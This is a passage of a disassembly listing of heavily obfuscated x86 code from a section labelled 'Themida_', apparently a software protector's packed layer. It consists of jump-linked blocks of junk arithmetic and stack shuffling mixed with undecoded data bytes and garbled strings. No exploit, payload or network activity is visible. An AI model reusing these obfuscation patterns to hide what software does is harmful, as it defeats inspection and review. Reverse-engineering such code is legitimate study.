		dw 595Dh
		dd 68CD8749h, 6D5h, 0B8240489h,	32FE4A49h, 1B5B635h, 0E9C501CDh
		dd 1205h, 8124048Bh, 4ECh, 24148900h, 0C2815A54h, 4, 0E904C283h
		dd 0FFFFDC19h, 6856D831h, 94Eh,	0E9242C89h, 1862h, 2494BF57h
		dd 0DDE9392Bh, 89FFFFA6h, 0B951242Ch, 775628A7h, 5628ABBDh
		dd 57ADE977h, 34FFFFFFh, 0EC835E24h, 240C8904h,	0C181E189h
		dd 4, 0E904C183h, 8BB8h
; ---------------------------------------------------------------------------


loc_55E520:				; CODE XREF: Themida_:00567765j
		mov	edi, 4AC4197Eh
		add	ebx, edi
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_560E0A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815924h, 4, 0C3E9CF89h, 83000021h, 66E904ECh, 55000073h
		dd 0BF4125BDh, 81D5F739h, 0B362A6C5h, 0B8CD8111h, 8100D956h
		dd 0C54C1EC5h, 3C58133h, 0E9317B52h, 8F6h, 4EC8158h, 89000000h
		dd 4B82404h, 1000000h, 48E958C7h, 8100004Eh, 0D63C61F3h
		dd 0AAF38147h, 31058D6Bh, 0FB315BDFh, 0FF742FE9h, 24248BFFh
		dd 50241489h, 4715E99Ch, 8950FFFFh, 405E0h, 4050000h, 0E9000000h
		dd 0FFFFB16Dh, 0E958585Dh, 480Fh
; ---------------------------------------------------------------------------


loc_55E5C8:				; CODE XREF: Themida_:00558DBCj
		sub	dword ptr [esp+4], 41849A3h
		jmp	loc_55AAB1
; ---------------------------------------------------------------------------
aSW		db 'S╥$╤W',0
		db 0FEh
		dd 5AF0285Bh, 492CF904h, 1F28E9h, 243C8900h, 7943E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E5F1:				; CODE XREF: Themida_:00560B4Aj
		mov	[esp], ecx
		jmp	loc_552FCB
; ---------------------------------------------------------------------------


loc_55E5F9:				; CODE XREF: Themida_:0055FD45j
		mov	edi, 5E124F32h
		sub	edi, ecx
		pop	ecx
		sub	ecx, edi
		pop	edi
		xor	ecx, [esp]
		jmp	loc_5554F6
; ---------------------------------------------------------------------------
aSsY		db ')ИИ╧Y',0
		db 0
; ---------------------------------------------------------------------------


loc_55E613:				; CODE XREF: Themida_:00554C03j
		mov	ebp, [esp]
		push	ebx
		push	esp
		jmp	loc_561ADB
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 1Ch
		dd 0F8E95224h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E627:				; CODE XREF: Themida_:00562966j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_558323
; ---------------------------------------------------------------------------
		dd 717ECE81h, 0C6814D83h, 909693AAh, 595EF329h,	355BD831h
		dd 0A0221FF5h, 58204789h, 7E1EE9h, 3EAC000h, 0E9C8B151h
		dd 0FFFFFC06h, 0F87E7125h, 3B04253Bh, 0E0254FA0h, 527E0223h
		dd 7B5FADBAh, 0E2C14A6Bh, 81DAF703h, 0D04BDEEAh, 2BB7E95Eh
		dd 0EA830000h, 24148704h, 241C895Ch, 2803E9h, 0FF565800h
		dd 8B042474h, 0C4832434h, 24048F04h, 5024248Bh,	8395E9h
		dd 242C8900h, 529268h, 241C8900h, 0C47A8968h, 241C8B11h
		dd 4C481h, 55E90000h, 81FFFF78h, 4C4h, 0E9535B00h, 0FFFF924Eh
		dd 81240C8Bh, 4C4h, 5B525F00h, 3FB015Ah, 2434FF03h, 0FFF208E9h
		dd 511A2DFFh, 34FF0C8Eh, 0E9505E24h, 3212h, 0D443BF57h
		dd 46E9CF96h, 5BFFFF7Bh, 148BD709h, 4C48324h, 62C78147h
		dd 89B619A3h, 243C8BFDh, 4C481h, 8E90000h, 83000007h, 0C8904ECh
		dd 46824h, 0E9590000h, 8024h, 0D0F7D0F7h, 721DE9h, 4E95F00h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E753:				; CODE XREF: Themida_:0055C59Fj
		add	edx, eax
		jmp	loc_56152B
; ---------------------------------------------------------------------------
		dw 895Bh
		dd 242C8BE9h, 2104C483h, 0B85059CBh, 1A623BA0h,	6EE95148h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E773:				; CODE XREF: Themida_:0055C634j
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		add	dword ptr [esp], 5447668h
		jmp	loc_55A920
; ---------------------------------------------------------------------------


loc_55E78C:				; CODE XREF: Themida_:00554997j
		mov	ecx, 2CD2239Ah
		shr	ecx, 7
		shr	ecx, 5
		shl	ecx, 7
		shr	ecx, 6
		add	ecx, 0FFFA65C0h
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_567797
; ---------------------------------------------------------------------------


loc_55E7C1:				; CODE XREF: Themida_:0056074Cj
		push	dword ptr [esp]
		jmp	loc_553362
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFCBEAE9h, 5AF388FFh, 8002EBC0h, 0EB8001EBh, 4EC819Eh
		dd 89000000h, 0EC682404h, 89000042h, 0DD88240Ch, 0FFE9EC88h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E7F7:				; CODE XREF: Themida_:0055B2ECj
		and	ebx, 7D7D30D0h
		add	ebx, 1ED83AF5h
		push	esi
		mov	esi, 9DE154Ch
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		and	ebx, 297951A5h
		push	ecx
		mov	ecx, 9B42CDCh
		jmp	loc_554E16
; ---------------------------------------------------------------------------


loc_55E825:				; CODE XREF: Themida_:0055E174j
		pop	ebx
		mov	bx, [esp]
		jmp	loc_5657C8
; ---------------------------------------------------------------------------


loc_55E82F:				; CODE XREF: Themida_:00565DA7j
		mov	esi, edx
		pop	edx
		jmp	loc_55C558
; ---------------------------------------------------------------------------
		db 87h
		dd 665C2404h, 68241489h, 5F00h,	50240C89h, 5BE995B0h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E84F:				; CODE XREF: Themida_:00557BE5j
		pop	eax
		push	7339h
		jmp	loc_558C08
; ---------------------------------------------------------------------------


loc_55E85A:				; CODE XREF: Themida_:005558EFj
		add	esp, 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_5530AB
; ---------------------------------------------------------------------------
		db 2 dup(58h), 0Fh
		dd 34FFC0B6h, 0F6D7E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E88A:				; CODE XREF: Themida_:0055FB3Aj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_561738
; ---------------------------------------------------------------------------


loc_55E896:				; CODE XREF: Themida_:00559AF8j
		mov	ebx, 2C236E61h
		mov	ecx, ebx
		pop	ebx
		push	ebp
		push	esi
		push	219E4907h
		pop	esi
		push	esi
		not	dword ptr [esp]
		pop	esi
		neg	esi
		sub	esi, 0F57ADAA8h
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, ebp
		jmp	loc_55B2AE
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 0FF8E68E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E8CD:				; CODE XREF: Themida_:0055B495j
		pop	ebx
		sub	edx, eax
		push	esi
		mov	esi, 23D53C15h
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_557070
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0E9C2FED2h, 0FFFFFD6Dh, 83242C8Bh, 0CB8104C4h, 36A0278Ah
		dd 132CB951h, 0C9817B9Fh, 736B6780h, 3FB0C981h,	0C1810245h
		dd 0FFE4AC18h, 8159CB31h, 1EBh,	7E3C100h, 0C3EEB81h, 8DE96335h
		dd 5000062h, 0E4ED68DEh, 0B858C589h, 9618BBA3h,	0FF773FE9h
		dd 5AB6B9FFh, 78E91F17h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E947:				; CODE XREF: Themida_:00561B56j
		add	ebx, 1C2669DBh
		add	ebx, 369736EAh
		push	eax
		mov	eax, 1D6647ECh
		jmp	loc_560F82
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 31241433h, 14332414h, 24248B24h, 68C8BE0Fh, 3695h
		dd 0E9240C89h, 0FFFF4343h, 8104C483h, 6C60E2C3h, 81FB016Fh
		dd 6C60E2EBh, 2434FF6Fh, 0AD00E95Fh, 0C1FEFFFFh, 80FCC180h
		dd 0E1C0FBE1h, 27E95006h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E9AB:				; CODE XREF: Themida_:005533DEj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_553532
; ---------------------------------------------------------------------------
		db 0F7h
		dd 4EC83DBh, 0BD242C89h, 6AA36E5Eh, 4AE0C581h, 1E95CFEh
		dd 0BE00008Fh, 8576461h, 0FFC1A7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E9D9:				; CODE XREF: Themida_:00563E70j
		xor	edi, esi
		pop	esi
		jmp	loc_560801
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E7895724h, 0FFD928E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E9ED:				; CODE XREF: Themida_:00567315j
		shl	edi, 1
		shl	edi, 2
		push	edx
		mov	edx, 44B07903h
		xor	edi, edx
		pop	edx
		sub	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, 5A8C4733h
		inc	ecx
		neg	ecx
		xor	ecx, 0A59B5617h
		sub	ebp, ecx
		pop	ecx
		shr	ebp, 2
		or	ebp, 0A956E7Dh
		push	6908h
		mov	[esp], eax
		jmp	loc_5632DE
; ---------------------------------------------------------------------------
		dw 5359h
		dd 0FF44E9E9h, 6C29B9FFh, 81E930FEh
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EA37:				; CODE XREF: Themida_:005584AFj
		pop	ebx
		add	ebx, 4
		push	7339h
		jmp	loc_55DCDB
; ---------------------------------------------------------------------------


loc_55EA48:				; CODE XREF: Themida_:0055D3CCj
		pop	esp
		push	edx
		mov	edx, 0
		push	0B86h
		mov	[esp], esi
		mov	esi, 5AF85666h
		jmp	loc_556B3C
; ---------------------------------------------------------------------------


loc_55EA61:				; CODE XREF: Themida_:0055CA4Fj
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_561224
; ---------------------------------------------------------------------------


loc_55EA74:				; CODE XREF: Themida_:005557ABj
		xchg	esi, edi
		pop	esi
		add	edi, 3E1E1612h
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, edi
		push	dword ptr [ebx]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55F4DF
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 31241C33h, 1C33241Ch, 24248B24h, 0FF6E70E9h,	81DAF7FFh
		dd 497101C2h, 797BE916h, 6852FFFFh, 31B02BE0h, 0CCEA815Ah
		dd 89EA48E7h, 7FBA5AD3h, 81CD0308h, 9D58D3C2h, 55DA0125h
		dd 6E0FE9h, 2434FF00h, 4C4815Dh, 68000000h, 5E8Ch, 54240489h
		dd 582434FFh, 8104C483h, 4ECh, 24348900h, 4D2BE9h, 242C8700h
		dd 0D324248Bh, 0E99C242Ch, 0FFFF41A7h, 88D08850h, 8B595801h
		dd 0A2E9241Ch, 0FFFFFF56h, 0CFE92434h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EB33:				; CODE XREF: Themida_:00560123j
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55AC3E
; ---------------------------------------------------------------------------
		dw 0D768h
		dd 0E900005Fh, 38C8h, 4244481h,	7B0555CCh, 0FFEB74E9h
		dd 2424D3FFh, 4161E99Ch, 46BEFFFFh, 94EF553h, 24348BF7h
		dd 0FFF443E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EB71:				; CODE XREF: Themida_:0055D0AAj
		sub	ebx, edi
		pop	edi
		shr	ebx, 4
		jmp	loc_55CFD8
; ---------------------------------------------------------------------------


loc_55EB7C:				; CODE XREF: Themida_:00558C42j
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55C5A4
; ---------------------------------------------------------------------------
dword_55EB90	dd 9D1C77FFh, 14D25966h, 24E99C24h ; DATA XREF:	Themida_:00552BA8o
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EB9F:				; CODE XREF: Themida_:00562381j
		push	edi
		mov	edi, 474377Fh
		sub	[esp+8], edi
		pop	edi
		add	dword ptr [esp+4], 76F47C8Fh
		sub	esp, 4
		jmp	loc_55D516
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 0EEh
		dd 0F720105Bh, 6646E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EBCA:				; CODE XREF: Themida_:00558811j
		mov	edx, 0E37BEF2Fh
		xor	ecx, edx
		jmp	loc_557270
; ---------------------------------------------------------------------------
		dw 0F987h
		dd 1C181h, 0BD550000h, 227065B3h, 0EDC1DDF7h, 3EDC105h
		dd 0E581EDD1h, 0C9C31A3h, 7A14F581h, 0C5835D69h, 0B0E58101h
		dd 81234F62h, 402A55F5h, 4CED811Ch, 0E97F597Fh,	0FFFFE49Bh
		dd 4B951h, 0B5E90000h, 2DFFFFA0h, 16A72FF8h, 8DE5E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC2A:				; CODE XREF: Themida_:0055B6EBj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5580CB
; ---------------------------------------------------------------------------


loc_55EC33:				; CODE XREF: Themida_:0055DA4Bj
		pop	edi
		jmp	loc_55A71E
; ---------------------------------------------------------------------------


loc_55EC39:				; CODE XREF: Themida_:00553E08j
		mov	[esp], bx
		jmp	loc_553593
; ---------------------------------------------------------------------------


loc_55EC42:				; CODE XREF: Themida_:0055D70Cj
		pop	ebp
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	1FC3h
		jmp	loc_563F1B
; ---------------------------------------------------------------------------
		dd 5124148Bh, 0B850E189h, 34533CE0h, 3CDB2D48h,	0C1013453h
		dd 4C18358h, 5C240C87h,	0C8BEF88h, 30E95524h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC83:				; CODE XREF: Themida_:00555DD5j
		push	edi
		mov	edi, 26672971h
		add	edi, 0E595BD42h
		add	eax, edi
		pop	edi
		jmp	loc_564576
; ---------------------------------------------------------------------------
		db 81h
		dd 0D5F009EEh, 5EF529B2h, 55DE801h, 326C7247h, 472DD829h
		dd 0E9326C72h, 7371h, 463968h, 24048900h, 0FF8807E9h
		db 0FFh
byte_55ECC1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00552A68o
aSK		db '$ИкK',0
		align 2
		dw 0C483h
		dd 2DEF8004h, 6D5EE9h
		db 0
byte_55ECD5	db 0FFh, 74h, 24h	; DATA XREF: Themida_:00552A0Co
		dd 2434FF04h, 0E924048Bh, 35D2h, 4BFh, 8A36E900h, 5954FFFFh
		dd 4C181h, 0E9560000h, 4C48h, 0CCE95351h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55ED03:				; CODE XREF: Themida_:00560EE6j
		add	eax, esi
		push	edx
		mov	edx, 3B6B745Bh
		xor	edx, 317177BEh
		add	eax, 61437F56h
		add	eax, edx
		jmp	loc_552D93
; ---------------------------------------------------------------------------
		align 2
		dw 59E8h
		dd 0CEC8E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ED26:				; CODE XREF: Themida_:0055CCAEj
		push	ebx
		mov	ebx, 4C6526E4h
		xor	ebx, 4EB97B3Ah
		and	ebx, 28A56653h
		shl	ebx, 4
		push	eax
		push	ebx
		push	edi
		mov	edi, 72FA5D9Dh
		neg	edi
		jmp	loc_55B925
; ---------------------------------------------------------------------------


loc_55ED4A:				; CODE XREF: Themida_:00555515j
		mov	ecx, esp
		push	0BFAh
		mov	[esp], eax
		jmp	loc_55E032
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 47768h, 242C8900h, 8381E9h, 0E95A5800h, 0FFFFB85Dh
		dd 6E2C15Bh, 1CB3EA81h,	0B8500F1Ah, 70D06D16h, 0F117235h
		dd 25E8D125h, 38173D3Bh, 0C105E0C1h, 0E62D08E8h, 354BE523h
		dd 3754B889h, 158C231h,	8FE95AD0h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EDA7:				; CODE XREF: Themida_:00554AF6j
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_554237
; ---------------------------------------------------------------------------
		db 1
		dd 0F059E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EDBA:				; CODE XREF: Themida_:00558603j
		sub	ecx, ebp
		pop	ebp
		push	110Ch
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, al
		jmp	loc_55D28C
; ---------------------------------------------------------------------------
		db 1, 0D0h, 5Ah
		dd 2474FF50h, 48F5804h,	24248B24h, 965E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EDE9:				; CODE XREF: Themida_:0055BC83j
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	1B24h
		mov	[esp], ebx
		jmp	loc_55A6FD
; ---------------------------------------------------------------------------
		dd 45F4E281h, 0D2F7472Eh, 0FFF8F7E9h, 4C181FFh,	50000000h
		dd 4B8h, 58C10100h, 5C240C87h, 4EC8156h, 89000000h, 4832424h
		dd 348B0424h, 14E95624h, 1FFFFE3h, 0E908246Ch, 0FFFFC51Dh
dword_55EE44	dd 24048B66h, 81E18951h, 4C1h, 4E98300h, 0E9240C87h, 0FFFF6EFBh
					; DATA XREF: Themida_:00552B38o
dword_55EE5C	dd 24048B66h, 275068h, 6C05E900h, 0EB89FFFFh, 5BD8315Dh
					; DATA XREF: Themida_:00552B88o
		dd 66011705h, 58C709FDh, 420CE781h, 0C78100E6h,	0FF1A0000h
		dd 7C49ED81h, 0ED815364h, 7E000940h, 692EED81h,	0FD014119h
		dd 692EC581h, 0EC834119h, 24348904h, 940BEh, 5EF5017Eh
		dd 1BD3BA52h, 0C7E93329h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EEB7:				; CODE XREF: Themida_:00554C41j
		mov	esi, 1B3A4BEFh
		dec	esi
		sub	esi, 0E4520614h
		add	eax, esi
		jmp	loc_55E0FE
; ---------------------------------------------------------------------------
		dw 0F65Ah
		dd 80C9FED1h, 0CC2871C1h, 83240C8Bh, 0E95304C4h, 0FFFFA6C0h
; ---------------------------------------------------------------------------


loc_55EEE0:				; CODE XREF: Themida_:0055A119j
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5651FC
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 6AF38104h, 560D4326h, 0BEh, 87DE2900h, 0F3815EF3h, 86977722h
		dd 575BD801h, 882A30BFh, 277BE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EF22:				; CODE XREF: Themida_:00555B1Cj
		shl	ebx, 1
		shr	ebx, 6
		dec	ebx
		not	ebx
		push	esi
		mov	esi, 23AB40BFh
		push	edi
		mov	edi, 74D91983h
		jmp	loc_55AEF9
; ---------------------------------------------------------------------------
aTzssL		db 'TZSИ{L',0
		dw 5700h
		dd 1B8EE9h, 58F28100h, 0C117350Ch, 0F28108E2h, 4C256754h
		dd 0EA81424Ah, 7D1605F9h, 0E95AD131h, 0FFFF5854h, 0F66F1F6h
		dd 6866CCB6h, 89661A2Eh, 0F66240Ch, 5166C8B6h, 6C42E99Ch
		db 2 dup(0)
word_55EF82	dw 8B66h		; DATA XREF: Themida_:00552B1Co
		dd 38E92424h, 83FFFF3Dh, 148904ECh, 0C000B224h,	506602E2h
		dd 0C2085BB0h, 0EAD05866h, 0C280C2FEh, 6ACDE935h, 0CA00FFFFh
		dd 8BF7C280h, 0EC81240Ch, 4, 0E9241489h, 0FFFF4058h, 347BED81h
		dd 0BCE9AC38h, 5BFFFFC9h, 71D0B951h, 8149582Ch,	5B0E31E9h
		dd 76E98153h, 0C1DFC9EDh, 0E18106E9h, 54CF4487h, 579AE9h
		dd 3CD1E900h, 0C268FFFFh, 58786539h, 95FBD55h, 0F74D108Fh
		dd 0F2C9E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F006:				; CODE XREF: Themida_:00563D2Cj
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_556E57
; ---------------------------------------------------------------------------
aPTi1Sks	db '[P╦гTI',7,'1еИ╙s',0
		align 4
aZ		db 'Z',0
		dw 5AF1h
		dd 8B66C828h, 1C68240Ch, 0E9000036h, 3943h, 0FF24248Bh
		dd 34FF2434h, 89565924h, 4EC81E6h, 0E9000000h, 0FFFFD82Eh
		dd 0B60F66h, 583068h, 240C8900h, 8904EC83h, 4832424h, 0E9590424h
		dd 7A46h, 3207F281h, 0D321BF09h, 8124148Bh, 4C4h, 52BF5700h
		dd 0F724D961h, 0C1DFF7D7h, 554F03EFh, 6F1594BDh, 0E5FCE93Ch
		dd 0D8F7FFFFh, 0FF4F87E9h, 30FBBBFFh, 0F3293BF1h, 0FFBC8BE9h
		dd 2434FFFFh, 83242C8Bh, 0E95604C4h, 2ADFh
; ---------------------------------------------------------------------------


loc_55F0BC:				; CODE XREF: Themida_:005616CFj
		and	ebx, 7AA20512h
		sub	ebx, 0CE48B5A2h
		mov	edi, ebx
		pop	ebx
		add	[esp+8], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_566F8B
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 8Ah
		dd 0E980FCE9h, 0FFFFDB70h, 33241431h, 248B2414h, 2424D324h
		dd 3BC9E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F0FA:				; CODE XREF: Themida_:00559473j
		mov	[esp], edx
		mov	dh, 24h
		or	dh, 5Ch
		xor	dh, 0E2h
		or	dh, 7Ch
		shr	dh, 4
		jmp	loc_55D985
; ---------------------------------------------------------------------------
		dd 0E4F2E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F116:				; CODE XREF: Themida_:0055FE0Ej
		push	ebx
		mov	ebx, 72DB0449h
		or	ebx, 3A5D53E1h
		sub	ebx, 1AC47BAFh
		or	ebx, 22D73129h
		jmp	loc_55C666
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF3B8Bh
; ---------------------------------------------------------------------------


loc_55F138:				; CODE XREF: Themida_:0055C8DBj
		xor	edx, eax
		xor	eax, edx
		push	6715h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		jmp	loc_565A05
; ---------------------------------------------------------------------------


loc_55F16E:				; CODE XREF: Themida_:0055A96Aj
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	esi, [esp]
		jmp	loc_564407
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24348700h, 6B69E95Ch, 3C890000h, 81E78924h, 4C7h
		dd 6815E900h, 0EC83FFFFh, 0A68BE904h, 0E089FFFFh, 1AB968h
		dd 618AE900h, 0E953FFFFh, 0FFFF8CA1h
; ---------------------------------------------------------------------------


loc_55F1B8:				; CODE XREF: Themida_:00553724j
		mov	[esp], ebx
		mov	bh, 3
		jmp	loc_5628BA
; ---------------------------------------------------------------------------


loc_55F1C2:				; CODE XREF: Themida_:0055C6D2j
		pop	eax
		push	eax
		push	ecx
		jmp	loc_55B709
; ---------------------------------------------------------------------------
a3S		db '3<$И╣',8,0
		align 2
		dw 815Ch
		dd 70746DE9h, 7AF6E926h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F1DE:				; CODE XREF: Themida_:0055A492j
		push	7FFBh
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_55403B
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4D994E0Ah, 3368EB81h, 0E3C10B40h, 70F38107h,	89014174h
		dd 0F9295BDFh, 81243C8Bh, 4ECh,	24148900h, 0C281E289h
		dd 4, 4C281h, 0A6E90000h, 0BAFFFF97h, 4, 3EE9D601h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F237:				; CODE XREF: Themida_:0056360Dj
		mov	ch, 3Ah
		not	ch
		add	ch, 0B4h
		xor	dl, ch
		pop	ecx
		xor	dl, 0ABh
		mov	bl, dl
		mov	edx, [esp]
		add	esp, 4
		push	0B6Ch
		mov	[esp], edx
		mov	dh, 37h
		shl	dh, 2
		sub	dh, 76h
		push	0
		add	byte ptr [esp],	17h
		jmp	loc_5564E4
; ---------------------------------------------------------------------------
		db 21h,	0C6h, 58h
		dd 3B5DC681h, 0C68110F8h, 2B98AC39h, 348BF301h,	4C48324h
		dd 2BFBC281h, 0DA013018h, 2BFBEA81h, 815B3018h,	0C950A4C2h
		dd 81FA0116h, 0C950A4EAh, 28EA8116h, 0FF370134h, 240C8B32h
		dd 4C481h, 34FF0000h, 89535A24h, 4C381E3h, 81000000h, 4C3h
		dd 241C8700h, 243AE9h, 77BF5700h, 0E9026E67h, 6228h
; ---------------------------------------------------------------------------


loc_55F2D8:				; CODE XREF: Themida_:0055DEA7j
		xchg	esi, [esp]
		pop	esp
		push	5906h
		mov	[esp], edi
		push	edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55603B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89512434h, 4C181E1h,	81000000h, 4C1h, 240C8700h, 39B5E95Ch
		dd 0BB53FFFFh, 522515AFh, 490EB81h, 0C3813FE8h,	5174396Eh
		dd 22D8CB81h, 0CDE95DEEh
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F32B:				; CODE XREF: Themida_:0055F611j
		pop	edi
		add	esp, 4
		shl	eax, 2
		push	edx
		push	eax
		push	213C6C58h
		pop	eax
		mov	edx, eax
		pop	eax
		dec	edx
		push	eax
		mov	eax, 5EA75DDFh
		or	edx, eax
		pop	eax
		and	edx, 79A85939h
		shl	edx, 1
		jmp	loc_56255F
; ---------------------------------------------------------------------------
		dd 0E0C05C04h, 88C20408h, 24048BC1h, 3170E9h, 4EC8300h
		dd 68240C89h, 7249BC35h, 0FF3E2BE9h, 81E589FFh,	4C5h, 4ED8300h
		dd 5C242C87h, 54242C89h, 8356525Dh, 2C8904ECh, 6CC36824h
		dd 815D7FBBh, 0AA44E2CDh, 1BB5341h, 1000000h, 241C8BDDh
		dd 4C481h, 0ED810000h, 61C555EBh, 0A06EE957h, 0C681FFFFh
		dd 4, 0FFA738E9h, 54B951FFh, 0F715EE62h, 0BAD3E9D1h, 0A2B4FFFFh
		dd 8858E130h, 0EAC059CAh, 46FCE908h, 0B966FFFFh, 6655729Ah
		dd 6640CEBDh, 1EC5F581h, 5DE92166h, 0FFA299E9h,	241487FFh
		dd 243C895Ch, 4BFh, 15FEE900h, 0EE810000h, 0B8E54C4Dh
		dd 34FFF289h, 5CE95E24h, 5FFFFFA9h, 1F00E9h, 8DEB8100h
		dd 8172A064h, 44693DEBh, 0BF82E94Ah, 5735FFFFh,	297E1237h
		dd 0C30158C3h, 7408C381h, 0EB815F08h, 299852FEh, 0FF7B5EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F44D:				; CODE XREF: Themida_:00559AD5j
		or	ecx, edi
		pop	edi
		push	edi
		mov	edi, 1
		jmp	loc_5562C8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E99C2404h, 0FFFF385Fh, 0D224248Bh, 0E99C242Ch, 0FFFF3853h
		dd 7EBF6657h, 664F6615h, 9F5C781h, 66D7F766h, 8018EF81h
		dd 5FFA3166h, 5AD63166h, 7E6C166h, 7EEC166h, 345CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F499:				; CODE XREF: Themida_:0055A763j
		push	edi
		mov	edi, 0BBA3DDEh
		add	edi, 3F293B10h
		jmp	loc_55A7E3
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 243C3302h, 2C83E9h, 65B10500h, 0D2D19E4h, 898022C4h
		dd 24048BC5h, 641AE9h, 242C8900h, 756FCDBDh, 4EC8167h
		dd 89000000h, 6CE9240Ch
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F4DF:				; CODE XREF: Themida_:0055EA9Cj
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 29D36164h
		add	[esp+4], edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_567653
; ---------------------------------------------------------------------------
		dw 0DDF7h
